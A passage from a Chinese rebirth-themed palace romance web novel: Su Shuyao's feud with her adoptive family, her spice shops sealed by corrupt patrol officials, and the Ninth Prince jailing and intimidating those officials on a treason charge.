但既然答应下来，他也没有推脱：“问吧。” “请您稍等片刻，我们商量一下需要问些什么问题。” 几人商量了一番，总结了三个关键问题，“大伯这病需要多久能痊愈？” 鬼医想了想：“半年。” “大伯的病治好之后还会复发吗？” 鬼医斩钉截铁：“不会。” 在场众人眼神一亮，心中暗呼，太好了。 “大伯的病，病因是什么？” 鬼医：“中毒。” 听到“中毒”二字，在场众人集体倒吸一口凉气。 谁会无缘无故给大伯下毒？ 老侯爷老夫人肯定不可能，大伯娘也不可能。 不是他们阴谋论，原本继承侯府的应该是大伯，大伯眼睛生病之后，世子之位才落在了苏则遂身上。 苏舒窈继续问道：“大伯中的是什么毒？” 鬼医抱着手：“你的问题已经问完了。” “这事先不要伸张，慢慢调查。” ~ 苏明添还在府中静静地等待鬼医上门。 等了好几天，一点消息也没有，他派人去打听，才知道鬼医被苏舒窈请到苏明沣府上去了。 苏明添怒火中烧，差点从床板上蹦起来：“简直岂有此理！” “来人，把我抬去苏明沣府上！” 苏明添叫上苏明珠，来到大伯府门口嚎叫：“苏舒窈，快把鬼医叫出来给我看诊！” “苏舒窈，你请了鬼医藏在苏明沣府上干什么，想让我求你是不是？” 他闹出的动静太大，苏明南出来骂道：“苏明添，你跑我家大吼大叫干什么？” 苏明添理直气壮：“我找鬼医！” 苏明南冷笑一声：“鬼医正在给家父看诊，不方便。” 苏明添大吃一惊：“什么？！鬼医给你那个瞎子爹看诊？！” 苏明南握紧拳头：“苏明添，你有没有教养，我爹你要叫一声大伯。苏明添，请你闭上你那张狗嘴，你再胡说八道，别怪我连残疾人一起打！” 苏明添自知不是对手：“你把苏舒窈给我叫出来！” 苏明南瞪他一眼：“你当舒窈妹妹是什么，让你召之即来挥之即去？” “舒窈妹妹，喊得那么亲热！”苏明添仔细打量着苏明南。 他记得在梦里，苏明南一家落魄得连一件体面的衣裳都没有，哪里能住在这么好的房子里。 现在使奴唤婢不说，身上穿的衣服也是绸缎。 肯定是苏舒窈给他们钱了！ 不仅给他们钱，还给他们请鬼医！ 他们在侯府紧衣缩食吃水煮菜，苏舒窈资助苏明南一家在外穿金戴银！ 苏明添只觉得一股怒火直冲天灵盖，有种自己的钱被人偷偷用了的感觉。 那可是他们威远侯府的银子啊！ 苏舒窈真的太可恶了！ 明明就是给他请的鬼医！ 大伯那个老瞎子都快入土了，还看什么病？！ 没得浪费钱！ 鬼医的看诊机会应该留给他这种前途无限的年轻人！ 苏舒窈一出来，就看到苏明添面红耳赤地躺在床板上生气。 “二少爷，这么热的天，你不在家躺着，被人抬着到处跑，像什么话？要是被侯爷看到，又会被骂丢了侯府的脸面。” 苏明添正在气头上，她指着苏舒窈的鼻子，质问道：“你是不是给苏明南钱了？给他们买宅子，买奴婢，还给他们请鬼医？” 苏舒窈不太喜欢他的口气，眉心微微皱起。 苏明添嘴边露出一抹嘲讽：“看来就是了。” “怪不得他们一口一个舒窈妹妹叫得那么亲热，原来是有原因的。” “苏舒窈，你别被他们骗了，他们对你好，只不过想骗你的钱而已。” 苏舒窈看他一眼：“总比你们用了我的钱，享受着我的付出，还对我不好，好多了！” 苏明添气急败坏地骂道：“我们对你不好，是我们的原因吗？你自己不多多反思？我承认，你是做了很多事，但你的脾性能不能改一改，说话能不能软一些？你要是像明珠妹妹那样会好话，我们会这样对你吗？” “你现在马上回家！不准再给苏明南他们家一分钱！还有，马上让鬼医进府给我看病！” 第113章 苏舒窈不要他们了 苏舒窈的视线落在苏明添身上，目光清澈如洗：“二少爷，你是不是酒吃多了，脑子糊涂了。” “我的香料铺子被你最爱的明珠妹妹败光了，哪里还有银子资助别人？” 苏明南将苏舒窈护到身后：“舒窈妹妹，你别和他理论，这种无赖，让我来打发就是。” 苏明南挥着拳头：“快走，不然有你好看！” 苏明添梗着脖子嚷道：“苏明南，等我痊愈，你根本不是我的对手。有本事等我痊愈了和我打！” “你现在欺负伤员算什么事？！” 苏明添闹得实在是太大声，把整个府邸都惊动了。 大伯娘出来一看：“这不是明添吗？都是一家人，有事好好说，别吵。” 苏明添知道大伯娘心软，语气一变：“大伯娘，我受伤了，需要鬼医看诊，你让我进去找鬼医好不好？” 大伯娘看了眼苏舒窈，迟疑了片刻。 苏明珠自然也看出这里谁最好说话：“大伯娘，都是一家人，难道大伯娘要见死不救？” 苏舒窈不想让大伯娘为难，开口道：“行吧，把二少爷抬到鬼医那里去，鬼医愿不愿意医治，就看二少爷本事了。” 苏明添面上一喜：“快，快把我抬进去！” 客房里，苏明沣正在给鬼医捏肩膀，他学武的，按摩手法不错，把鬼医捏得很舒坦。 看着苏明添被抬进来，苏明沣手下一顿，心中暗骂：这个瘟神怎么来了？！ 鬼医转头睨了他一眼，示意他继续。 苏明添态度恭敬：“听闻鬼医大名，特来拜会。在下威远侯府二少爷苏明添，亲自来请鬼医上门看诊。” 上一世，苏明添对鬼医出言不逊，治病的时候全程被毒哑了，这一世，苏明添的态度一百八十度大转变。 苏明沣看到苏明添就生气，一用力，把鬼医捏痛了。 鬼医看他一眼：“怎么，你的仇人？” 苏明沣摇摇头，不知想到什么，又狠狠点了点头，最后倔强地指着自己的嘴。 鬼医看他一眼，“你还是哑着好。” 苏明沣悻悻闭上嘴，继续捶背。 鬼医看向苏明添：“你来看诊，诊金带了吧？” 苏明添：“走得太急，忘了，我可以马上派人回府去取。您的规矩我都知道，看诊期间，我绝对不会乱说话的。” 鬼医：“行吧，既然知道我的规矩，先回去把诊金拿来再说。” 苏明添：“敢问鬼医，诊金多少？” 鬼医：“万金。” 苏明添：“什么？！” 万金，可是十万两白银。 这么多？！ 他上哪里拿这么多银钱出来？ “听闻鬼医独爱兰，在下给您准备了兰花，可以马上让人回府去取。” 鬼医：“我已经收了两盆兰花了，想收点银钱了。” 他对苏舒窈送来的兰花很满意，料想苏明添也拿不出比之更好的兰花了。 苏明添小声呐呐：“两盆兰花......都是苏舒窈送的？” 鬼医颔首。 上一世，苏明添听说，一盆精品兰花可以让鬼医医治一人，既然苏舒窈送了两盆兰花，可以让鬼医治两个人。 “两盆兰花，治了瞎......大伯，再治我，刚好可以啊。” 鬼医看着桌上那盆并蒂兰：“这盆并蒂兰，她们换了三个问题。” 苏明添当场就破防了：“苏舒窈，你换三个问题都不给我换取一个治病的机会？” “苏舒窈，你好狠的心啊！” 苏舒窈冷静地看着他发疯，嘴角始终挂着淡淡的微笑。 鬼医：“拿不出诊金就回吧，别在这里大吼大叫。” 苏明沣心中暗暗希望，把他毒哑！毒哑！ 苏明添胸腔上下起伏：“苏舒窈，给我付诊金，付了诊金我就原谅你！” 苏舒窈看了一眼站在他身边的苏明珠，面上露出一抹遗憾：“二少爷，要是香料铺子没毁，凑一凑，还是能将诊金凑齐的。” “现在香料铺子都没了，我也没钱了。” “你怎么不怪你的明珠妹妹，是她毁了香料铺子，毁了给你看诊的机会。” 苏明添眼神眼了暗，他对苏明珠不是没有怨气。 但，在他心目中，苏舒窈更好拿捏，干活任劳任怨，骂了她她也不会生气。 他所有的坏脾气，都可以毫不保留地展现在苏舒窈面前，他在苏舒窈面前说话，从来无所顾忌。 他自认为把苏舒窈当成最亲的人。 他都把苏舒窈当成最亲的人了，苏舒窈就该为他付出所有！ “苏舒窈，你可以给鬼医当药童、给他试药！” 苏舒窈轻轻摇了摇头。 全心全意地付出和供养，不但没有培养出感恩，反而滋生了轻视和侮辱。 见他越说越难听，苏明南抓住床板：“你一个当哥哥，怎么能说出这种话！” “拿不出诊金，滚吧！” 苏明添：“苏明南，你少在这里假惺惺，你不过是看上苏舒窈手中的银子......” 他话说一半，忽然就哑了，张开嘴，一句话也说不出来。 苏明沣看到仇人被毒哑，按摩得愈发卖力。 他一定要拜师成功，以后谁欺负舒窈妹妹，他就毒谁！ 苏明南：“再不走，让你一辈子都站不起来！” 苏明珠怕自己也被毒哑，带着苏明添逃也似得离开了。 苏明添离开后，大伯娘回房拿出一个账本：“舒窈，你给我们的银子和对我们的好，大伯娘一笔一笔都记着呢，以前没说，是怕你觉得生分。既然这事苏明添闹出来了，大伯娘还是和你说清楚，等明厉他们有了出息，这些钱，我们定会连本带利还你的。” 苏舒窈关上账本，淡淡一笑：“大伯娘，我知道，你们和苏明添不一样，你们对我好，不是因为我给了银子。” “没有银子，你们一样会对我好。” 就像上一世那样。 ~ 苏明添被狼狈地抬回侯府，他想大骂苏舒窈，却开不了口，只能手写。 他断的是右手，左手写字非常费力，写着写着，竟然泪流满面。 泪水浸润了墨水，让一个个丑字更加模糊。 苏舒窈怎么会变成这样？！ 上一世她明明全心全意为家人着想的！ 上一世她挣的钱，她自己舍不得花，给他们花的时候一点都不心疼的！ 他脑中忽然冒出一个可怕的念头：这一世，苏舒窈要对苏明南一家子好了，不要他们了...... 想到这里，苏明添竟然生生呕出一口血来。 苏明珠心疼地抱着他：“二哥哥，你这样让我好难过，二哥哥，苏舒窈欺人太甚，我们一定能找到法子整治她的！” 苏明添止住眼泪，在纸上写下一个“钱”字。 上一世，毒死苏舒窈之后，她的私产可不止十万两。 她擅长经营，不可能没有银钱。 苏明添最气的不是苏舒窈有钱藏着不拿出来，而是苏舒窈花钱供养外人。 那可是侯府的银钱，他的银钱啊！ 就这么拱手拿给仇家了！ 第114章 奸臣 “二哥哥，我都说了，大姐姐肯定有钱，香料铺子的事，我定是被她陷害了。之前我不是让你找人跟踪她吗，你有没有发现她在暗中经营香料铺子？”苏明珠问道。 苏明添摇摇头。 他派人跟踪了，苏舒窈最多就是去花草铺子逛逛，表面看起来和香料铺子毫无相关。 但他确信，苏舒窈肯定和香料铺子有牵扯，不然怎么有钱供养苏明沣苏明南两个贱人！ 还把本该拜师李大儒的机会让给了苏明厉！ 当初大哥拜师失败之后，他就该警惕的。 这些钱他一定要拿回来，不拿回来他不甘心！ 苏明珠：“既然她不肯把香料铺子拿出来，我们也让她得不到。” 苏明添抬起头，在纸上画了个问号。 苏明珠：“她上次可是把宁侧妃得罪得很了，我们可以去找宁侧妃帮忙。” ~ 从大伯娘家回府，苏舒窈原本以为，苏明添会去找威远侯告状。 威远侯自从得知自己没了生育能力，为了恢复往日雄风，沉迷炼丹一道，无法自拔。 如果告到威远侯那里，苏舒窈自有法子对付。 没成想苏明珠和苏明添安静如鸡，回府之后一点风浪也没掀起，就连苏明沛那里也没去。 想必在憋大招。 现在乔姨娘掌家，苏明珠和苏明沣的任何动向，她都能一清二楚。 苏舒窈也不急，装作不知，每天伺弄花草，品尝美食，过得好不快活。 没过几日，苏舒窈收到一张帖子。 “大小姐，送帖子的人说请您去千杯醉一聚。” 帖子上什么都没写，只在落款处写了个“谢”字。 仔细辨认，是谢老板的字迹。 好久没见到谢老板了，苏舒窈欣然赴约。 千杯醉包厢内，谢瑜姿容清隽，一身青色直缀，如松竹立崖般儒雅清贵，和之前那个满身金银的暴发户完全是两个极端。 “谢老板没戴金饰，我都差点不敢认了。对了，现在不应该叫谢老板，该叫谢大人了。” 听说谢瑜现在在户部任职，职位不高，但很受器重。 苏舒窈笑着作了个揖。 谢瑜从兜里掏出一个实心镶满宝石的金球，放在手上颠着把玩：“有人要害你，我专程来给你递消息，你张嘴就打趣我？” 苏舒窈屈膝行礼：“小女子给谢大人赔罪了。” 伙计摆上香茶点心，弯着腰退了下去。 包厢门关好之后，苏舒窈方才开口：“我很好奇，谢大人这样清贵的身份，怎么会去经商？” 谢瑜笑了笑，一双桃花眼弯成好看的幅度：“你这人真是奇怪，不担心谁要害你，反而跑来问我的事？” “怎么？看上我了？” 桃花眼一眨，眼角眉梢全是风情，又恢复成苏舒窈熟悉的那个多情纨绔的谢老板。 苏舒窈正色几分：“小女子早已心有所属，只是好奇罢了。” 谢瑜将金球随意扔到桌上：“还不是家里的老爷子，说我不知人间疾苦，怕我今后当官说出‘何不食肉糜’之类的蠢话。” 谢瑜早慧，五岁便能出口成章，十二岁中了举，十三岁便扬言要考个状元回来。 谢阁老对他多有器重，又担心他狂妄自大，在人情世故上失了分寸，压着他不准科举，让他先出去历练。 “老爷子说了，要先了解民生之多艰，才能当一个好官。他给了我一百两，两个随从，让我孤身出去感受世道艰险。我见书上写着，商人多奸，行商定能深刻感悟，所以做了点小生意。” 苏舒窈听得咋舌：“一百两？小生意？谢老板在经商一途简直天赋异禀。” 据他所知，谢瑜手上不仅有茶叶、香料、布匹的生意，还有海船。 她原本以为，谢家和长公主嫡长子的身份为他提供了不少便利，但现在看来，谢阁老和长公主都不知道他在外面搞出了多大的摊子。 要是知道，怎么会让家族重点培养的子弟在外抛头露面行商。 “谢阁老要是知道培养出一个奸商，定会气得捶胸顿足。” 谢阁老是出了名的脾气暴躁，苏舒窈都能想象，谢阁老要是知道谢老板这些年在外面干了些什么，会气成什么样。 “什么奸商，我这叫做以身入局。” 谢老板拿出一把金骨折扇，“哗”地一声，折扇打开，扇起阵阵香风：“长得乖巧可人，嘴巴一点不饶人。” 苏舒窈低头浅笑：“对了，言归正传，是谁要害我？” 谢瑜道：“恭王世子的一个姓宁的侧妃，听说她长相一般，但极为受宠，你怎么惹到她了？” 苏舒窈把上次去恭王世子府的事说了：“宁侧妃要怎么害我？” 谢瑜：“这宁侧妃娘家是外地的，父亲是同知，但舅家的表哥在五城兵马司任职。” 五城兵马司主管京城巡防、市场管理。 虽然官不大，但直接负责商铺的管理。 “听说要查封你那几个香料铺子。” 谢瑜脸上露出一抹忧心，“怎么办，人家是宁侧妃，你一个落魄侯府的养女，怎么和侧妃娘娘斗？” 金骨扇在他手上转了个圈，遮住半张脸，露出的一双桃花眼泛出潋滟亮色。 “你叫我一声好哥哥，我就帮你，如何？” 苏舒窈看了他一眼：“谢了，家事就不麻烦谢大人了。说吧，除了这件事，还有什么事？” 按照谢老板无利不早起的性格，专程请她出来，肯定不会只是递消息那么简单。 “你可真没趣。”谢瑜将扇子放到桌上：“找你当然是有生意。” 他也不卖关子，直说道：“现在在户部任职，当了官才发现，这当官的，比经商的赚得多多了。经商还需要本钱，当官的赚钱简直就是空手套白狼。” 谢瑜在户部任职，业务刚上手，便把户部官员怎么利用管理漏洞搞钱的事查了个一清二楚。 “我寻思着，咱多年关系，做生不如做熟，我这里有几个赚钱的法子，第一时间就想到你。” 苏舒窈笑道：“谢大人真要当奸臣了？” 谢瑜摇着手中的扇子，在苏舒窈头上打了一下：“着什么急，我都没说，你就妄下判断！” 苏舒窈捂着头，瞪了他一眼：“小女子洗耳恭听。” 谢瑜用扇柄抵着下巴：“我这个赚钱的主意完全是为民着想，打击贪官。我想着，从贪官身上下手，给贪官来个零存整取。” 苏舒窈疑惑：“谢大人在户部任职，怎么打击贪官？” 谢瑜：“本官自会想办法调去都察院。” 他敲了敲桌子，翘起脚来，眼里流露出一抹玩世不恭：“从贪官身上获利，能叫奸臣吗？” 苏舒窈低头浅笑：“您分明就是为民为国的青天大老爷，我今后便叫你谢青天吧。” 笑过之后，苏舒窈问道：“这种无本万利的生意，谢大人为何找我？” 谢瑜眉眼一弯，一双桃花眼亮起来：“因为你长得好看。” 苏舒窈朝他翻了一个优雅的白眼。 谢瑜大笑起来，笑过之后，才道：“因为你消息灵通。” 他不知道苏舒窈哪里来的消息，比他得到的消息还灵。 做这种铤而走险的生意，消息很重要。 苏舒窈淡然一笑，原来是因为这个。 重生一次，她把上一世的信息全用来和侯府一家人斗争。 眼界窄了。 跳出侯府那个方寸之地，外面还有这么广阔的世界。 好生整合上一世的信息，和谢瑜合作，不仅能赚钱，还能借机扳倒九殿下的政敌。 “你负责找那种没什么根基，又贪得多的地方官。”谢瑜眨眨眼：“剩下的便交给我吧。” ~ 从千杯醉回来，苏舒窈还没来得及换衣裳，就收到了香料铺子被查封的消息。 第115章 查封 苏舒窈的香料铺子在东城、西城各两间，分别被东城兵马司和西城兵马司给查封了。 理由是有顾客投诉售卖假货。 停业整顿，整顿之后经过检查，才能重新开业。 “大小姐，怎么办？那些官吏明显就是冲您来的，官爷说了，检查的时候，必须东家亲自出面。” 秋霜着急地来回踱步：“这可怎么办？铺子地契写的是我哥的名字，我虽然早早卖入侯府，但我哥和我长得很像，我哥一出面，稍微一调查，不是一下就让人猜到是小姐的铺子了吗？” 苏舒窈原本轻轻揉着霜染的下巴，闻言，手上的动作停了停。 霜染喉咙里发出不满的咕噜声，伸出爪子拍打着她的手，示意继续。 “别慌，让晚娘出面，就说铺子是租的不就行了。” 晚娘是调香师，名义上，香料铺子本就是晚娘的。 “大小姐，我可是听说了，五城兵马司的官爷最是难缠，如果打点不好，他们可是会天天上门来闹的，到时候怎么开门做生意？” 秋霜咬着牙关，气得浑身发抖：“二小姐和二少爷真是太坏了，竟然到外面找人对付大小姐！” 商铺巡察的官爷，铺子上每个月都有打点，这回掌柜专门去找了巡城吏目，巡城吏目说这是上面的意思，打点也没用。 “五城兵马司？”苏舒窈把霜染放到地上，单手撑着下巴，叹了口气。 内宅的事她知道怎么处理，涉及官场，处理起来会麻烦，也不是没有办法，但势必会暴露身份。 苏舒窈下意识想求助九殿下。 九殿下嘴硬心软，肯定会办得很好。 只是，上次主动求娶，把九殿下吓坏了，九殿下好久都没出现了。 铺子被查封的第二天，苏明珠和苏明沛已经开始暗戳戳狂欢了。 苏明添问道：“苏舒窈那边有没有动静？” 苏明珠道：“没见她有什么反应，她好像一直都是那个样子，不瘟不火的，像个瞎眼蟾蜍，戳一下都不会动。” 苏明添冷笑一声：“心里急得像火烧吧，表面镇定罢了。派人跟着她，不出三日，她一定会露出马脚。” 商量完香料铺子的事，苏明珠遗憾地叹了口气：“二哥哥，鬼医那边怕是请不来了。” 威远侯听说鬼医要万两黄金当诊金，吓得胡须翘到了天上，直接当场拒绝。 苏明添亲自找到威远侯，信誓旦旦保证，痊愈之后自己能进入金吾卫，还能当上大将军，光耀门楣。 到时候皇帝的赏赐都不止万两黄金。 威远侯用一种看疯子的眼神看着他，转手给他拿了一颗丹药，保证他吃了之后能恢复男子雄风。 苏明添拿着一颗丹药，扔也不是，吃也不是。 “只能去药堂请个好些的医师了。”苏明添脸色一黑，咬着牙关：“我还不信了，这世上名医千千万，还非鬼医不可了。” 苏明珠心里也急，要是二哥哥好不了，岂不是废了？ 不过事已至此，只能死马当活马医了。 接下来的日子，苏舒窈每日都去镇抚司门口的茶楼听戏。 听茶博士说，以往每日都能看到九殿下。 苏舒窈连续等了三日，一次都没有见到人。 仔细想来，她和九殿下之间，好像没有共同的好友，想传句话都不行。 每次都是九殿下主动找来。 她很被动。 现在看来，九殿下是故意躲着她。 又过了三天，香料铺子整顿结束，五城兵马司再次上门检查。 这回来检查的不是巡城吏目，而是两位副指挥使。 “你们谁是东家啊？” 晚娘准备了厚厚的封红递过去，脸上赔着笑，“官爷，是民妇。” “怎么是个娘们儿？”王副指挥使接过封红，趁机在晚娘脸上摸了一把：“把你家男人叫出来。” 晚娘低着头，小声道：“民妇男人早死了，这几间铺子，是民妇带着儿子在打理。” “哦~”王副指挥使脸上露出一抹怪笑，一双吊梢眼多了几分兴奋之色：“孤儿寡母的，开了这么些铺子，想必很辛苦吧。” 佟掌柜见势不妙，把晚娘往后一拉：“官爷，有什么和小人说就是，东家她平时不在......” 王副指挥使一巴掌拍到佟掌柜脸上：“本官和你家主子说话，你插什么嘴啊！” 佟掌柜被打翻在地，捂着脸，脸上还赔着笑：“对不起官爷，是小的鲁莽了。” 李副指挥使踩了佟掌柜一脚，“把这些假货全部搬走，带回去当做证据。” “使不得，使不得，这些货可是价值上万两的！”佟掌柜冲上去拦人，被几个当差推攘在地，一顿暴打。 晚娘站在一旁，吓得浑身发抖。 王副指挥使拉着晚娘的手，语带轻佻：“孤儿寡母过得苦，不如跟着爷吃香的喝辣的！” “对，跟着王副指挥使，你这铺子今后就没人敢来找茬了！” “哈哈哈哈——” 这些小官最会看眼色，铺子查封了几天都不见人找上门，料定了这铺子没有后台，他们下起手来，便也没有轻重。 拿走香料，最后宣布检查不合格，直接给铺子贴了封条。 “回去告诉你们真正的东家，本官再给她最后一次机会，三日后，本官过来再见不到人，你们这铺子，就别开了！” 苏舒窈得知铺子上发生的事，气得饭都没吃，直接去了镇抚司。 镇抚司的锦衣卫认得她，答应帮她传话，可是送出去的信息好似石沉大海，全都没有回应。 她想了想，去了望春园蹴鞠场。 她的前未婚夫元祖爱好蹴鞠，是“飞天社”社员，每逢假日的时候，都会去训练两场。 上一世，只要元祖去蹴鞠，苏舒窈都会去捧场。 “那铺子真不是苏舒窈的？”苏明添都疑惑了，“再过几天就要被永久封禁了，她还去看元祖蹴鞠？” 苏明珠也看不懂：“兴许，她是想请元家帮忙？” 元祖父亲在吏部任职，如果能说服元家出面，这点事，完全是小菜一碟。 “跟着她。” 苏舒窈当然知道苏明珠派人跟着她，她戴着帷帽到了蹴鞠场，找了个不起眼的凉棚，看了一下午比赛。 一开始风平浪静，直到比赛快结束，元祖无缘无故平地摔了好几次。 苏舒窈便知，九殿下晚上肯定会来了。 第116章 下诏狱 到了晚上，苏舒窈早早便洗漱上床，静静地躺在床上等着九殿下的出现。 等着等着，她睡了过去。 丑时，苏舒窈睡得正熟，耳边响起霜染低沉又凄厉的叫声。 像是有人掐着霜染的咽喉，声音从猫咪喉咙一点一点挤出来。 “喵呜——” 猫叫声一声比一声凄厉，好似指甲扣在琉璃瓦上发出的声音，在黑夜中一点点晕染开来，让人汗毛倒竖。 苏舒窈一睁开眼，便看见床边喷出一道白烟。 整个房间冷了下来。 “嗷呜————” 刺耳的猫叫声再次响起。 这样的场景特别像是话本里面描述鬼怪出没的前兆。 忽然，惨烈的猫叫声戛然而止，一块动物皮毛从天而降，直直落在苏舒窈眼前。 毛皮的花色和霜染很像，黏糊糊的，带着一股浓重的血腥味，好似霜染被现场剥了皮。 苏舒窈感觉一股寒凉从脚底往上蔓延，嗖地钻进了骨髓。 心跳再次加快。 她将皮毛拿起来，仔细闻了闻，不是霜染身上的气味。 知道她经常要抱霜染，秋霜将霜染洗得很干净，霜染身上时常散发着一股淡淡的兰花香。 这块毛皮不是霜染的。 九殿下的恐吓再一次失败。 苏舒窈坐起来，披上外袍：“九殿下，是你吗？” 她喊了好几声，都没得到回应。 苏舒窈下床来。 忽然，什么东西从背后靠近，一只利爪搭在她颈后。 指甲很尖，轻轻一用力就能划破她的皮肤。 好似有什么凶狠的成精了猛兽站在身后，下一秒，就会将她撕成粉碎。 苏舒窈转身一看，九殿下捏着霜染的爪子，搭在她颈后，摆出一个抹脖子的姿势。 如果忽略恐怖的氛围和九殿下严肃的表情，这个动作其实很好笑。 尤其是霜染瞪着一双圆溜溜的眼睛，耳朵贴着头皮，明明吓得要死，却又不敢反抗、任人摆布的样子，又怂又可爱。 苏舒窈想笑，又怕笑出声又吓跑了九殿下，生生忍住了。 “骗子。” “不是说退婚了吗？” 楚翎曜沉着眼，眼尾勾起的幅度像是淬了寒冰的刀子，漆黑的瞳孔里，藏着两把灼人的火焰。 分不清是怒火，还是妒火。 苏舒窈赶紧承认：“是退婚了，当初只是长辈的一句玩笑话，信物早就让人送了回去，婚事已经不作数了。” 楚翎曜眼底的火星没有半分减退，反而越燃越烈：“那为什么还去蹴鞠场？” 还去看那个曾经有婚约的男子？！ 这个女人口蜜腹剑，一边说让他娶她，一边又去看别的男子蹴鞠。 他恨不得现在就封住她的嘴，让她再也说不出一句谎话。 楚翎曜实在是太过愤怒，身上的怒火快要实体化，霜染在她怀里被吓得全身炸毛。 苏舒窈将霜染从他怀里抱出来，在猫头上轻轻揉了揉，把猫放到地上。 霜染忽然获得自由，耳朵紧贴着头皮，爪子差点在地上刨出了火星子，四爪并用破窗逃跑了。 跟九殿下落荒而逃的样子有些相似。 苏舒窈上前一步，缓缓牵住了他的手。 潮湿的掌心沾了些许猫毛，润润的。 被牵上手的一瞬，楚翎曜眼中的怒火减退了大半，胸腔的起伏也减缓下来，但吐息依然灼热。 “放开。” 语气冰冷，带着一种上位者独有的不容置疑的口气。 身体却没有半分挣扎，乖顺地任苏舒窈牵着。 苏舒窈牵着手，轻轻拉了拉，没把人拉动。 楚翎曜的双脚好似在地上生了根。 已经被牵了手，轻轻一下就被拉过去，岂不是显得很廉价。 站在原地屹立不动是他最后的尊严与倔强。 苏舒窈再次上前一步，靠近之后，自然又缓慢地抱了上去，为了防止人逃跑，她双手交扣，将头埋进他的胸口。 九殿下的胸膛宽广、温暖，弥散着一股浓郁的松木香气。 不知道是因为生气，还是因为其他别的原因，九殿下的心口跳得很快。 “咚、咚、咚”仿若擂鼓，好似下一秒就要跳出胸口。 苏舒窈在他怀里找了个舒服的位置：“因为想找殿下，殿下又躲着我，所以才想到了那个法子。” 她仰起头，直勾勾看过去。 她的眼瞳是很深的琥珀色，凝神看人的时候，好似盛着一潭碎金，深情又迷人。 “九殿下好难找，我天天等在镇抚司门口，一次也没有等到殿下。” “殿下为什么故意躲我？” “殿下讨厌我？” 声音很低很柔，带了一丝委屈。 说完之后，她立马感觉到，楚翎曜眼中仅剩的怒火瞬间消失无踪。 她眼里藏着笑，重新把头埋进九殿下的胸膛里，深深吸了一口气。 熟悉的松木香气盈满鼻腔，让人心安。 月光透过窗棱偷溜进来，在地上洒上一层银霜。 一丝红晕偷偷爬上了楚翎曜的耳后，晕染开来，整个耳廓、脖颈都红了个彻底。 幸好房间黑暗，苏舒窈看不见。 “找本王干什么？” 低哑的声音再次响起，少了一丝高高在上的语气，有些不太从容。 不会又要他娶她吧。 如果她再次提出这种无理的要求，他一定要......一定要...... 马上离开！ 他能执行的对她最大的惩罚，只有“马上离开”。 想到这里，楚翎曜心底再次生出一股浓浓的挫败感。 苏舒窈贴着他的胸膛，轻声道：“我遇到困难了，需要殿下的帮忙。” 原来不是要他娶她啊。 楚翎曜松了一口气的同时，心里隐隐有些不快。 “帮忙？”一声短促的轻笑过后，低哑的声音再次响起：“帮什么忙？” “我的香料铺子被五城兵马司查封了，我要拿回来，又不想让人知晓那是我的铺子。” “还有，五城兵马司的人好凶，把我的掌柜打了，还欺辱我的调香师，他们还拿走我的香料，砸了我的铺子，他们好过分，那些香料好贵。” 她像个告状的孩子，絮絮地诉说着委屈。 “这点小事？”楚翎曜轻蔑一笑：“本王伸伸小拇指就办好了。” 答应之后，才开始后悔。 让他帮忙，她都没求他，他怎么马上就答应下来了？ “你把本王当成什么？” 对他又亲又抱又闻不说，现在居然要他帮忙。 真是胆大！ “我把殿下当成恩人。”苏舒窈仰起头来，“殿下帮忙，我可以给殿下银子。” 楚翎曜冷笑一声：“本王稀罕你那点银子？” 苏舒窈又道：“那我只有以身相许了。” 楚翎曜气得满脸通红。 又来了，这个女人又开始赖着他不放。 总是找各种借口赖上他。 真是一点也不矜持。 他深吸了好几口气，都无法将身体那团火热压下去。身体某个部位变得有些别扭。 为了不让对方看出自己的囧态，楚翎曜双手把人扯开，将脸侧过去。 “你别痴心妄想，本王岂是那种随便的男子！” 说完，侧身一闪，又没了踪影。 苏舒窈叹了口气，感觉这一次，殿下比霜染跑得还快。 “谢谢殿下。” ~ 第二天一早，镇抚司诏狱便多了两人。 一个是东城兵马司副指挥使王大人，另一个是西城兵马司副指挥使李大人。 两人因为叛国罪，被押下诏狱。 第117章 自相残杀 叛国通敌的罪名一旦按上，可是要被千刀万剐、诛九族的。 两位副指挥使是在退衙回家的路上被锦衣卫抓走的，锦衣卫直接捂嘴锁人，干净利落，周围没有一个人看到抓捕过程。 被丢进镇抚司诏狱的时候，两位副指挥使脑子都是懵的。 “九殿下，我是无辜的！！” “九殿下，我也是无辜的啊！” 牢房里，两位副指挥使抓着门柱，拼命呐喊，可是就算喊破了喉咙，也没人搭理。 两人在暗无天日的牢房里被关了两天，每天都能听到隔壁行刑的惨叫声，直吓得两股战战、夜不能寐。 等他们尝够了提心吊胆的滋味，楚翎曜才大发慈悲，将人提了出来。 锦衣卫指挥佥事吴远山汇报道：“殿下，李副指挥使是三皇子侧妃的弟弟，王副指挥使是恭王世子侧妃宁氏的表哥，两人失踪之后，已经报了刑部，五城兵马司的同僚也在帮忙寻找。” “已经有刑部的官员过来询问了。” 简言之，这两人有背景，还是官身，且官职不低。 要是被发现被锦衣卫抓了，闹大了不好收场。 楚翎曜嘴边噙着一抹嘲讽，抬手一挥。 吴远山闭上嘴，躬身退下，吩咐狱卒：“将两人押来，殿下亲自审问。” “殿下，下官是被冤枉的啊，殿下，给下官一百个胆子，下官也不敢通敌叛国啊！” “殿下查清楚，下官忠心为国，绝无叛变之心啊！” 才关了两日，两人眼窝凹陷下去，脸色惨白，眼珠好似蒙上了一层厚厚的灰。 楚翎曜坐在主位上，手上拿着一个沾血的刑具。 鲜血不小心沾到手指，他微微蹙眉。 立刻有人递上白色丝绢。 楚翎曜慢条斯理擦拭完手指，将丝绢扔到地上，唇角微微弯起：“你们在执法过程中，有没有贪污违法、欺男霸女的行为？” 两位副指挥使跪在地上发誓保证：“没有，从来没有，下官一向秉公执法的！” “这样啊？”楚翎曜眼神里透着一股阴鸷，语气却是少见的温柔：“既然你们是好官，本王定会帮你们的。” 两位副指挥使眼中迸射出希望的曙光：“多谢殿下，下官相信殿下明察秋毫，绝不会胡乱冤枉下官的！” 楚翎曜继续把玩着手中的刑具，“你们最近查封的香料铺子，是受何人指使？” 两位副指挥使互相看了一眼，瞬间明白他们为什么会被抓来了。 心里咯噔一声。 原来香料铺子的幕后主子是这位爷！ 铺子掌柜是傻的不成，有这种后台不早搬出来，还傻乎乎挨打！ “没有受人指挥，遭人举报香料铺子售卖假货，下官只是例行检查，将货物搬回衙门也是为了更方便检查是否售假。经查证，香料铺子没问题，想是有什么误会，下官出狱之后立刻就将收缴的货物还回去，保证铺子能顺利经营。” “不老实。”楚翎曜眼眸低垂，做了个抹脖子的动作，立刻有狱卒拿着两个血滴子往两人头上套。 两人身体一软，吓得差点当场就尿了。 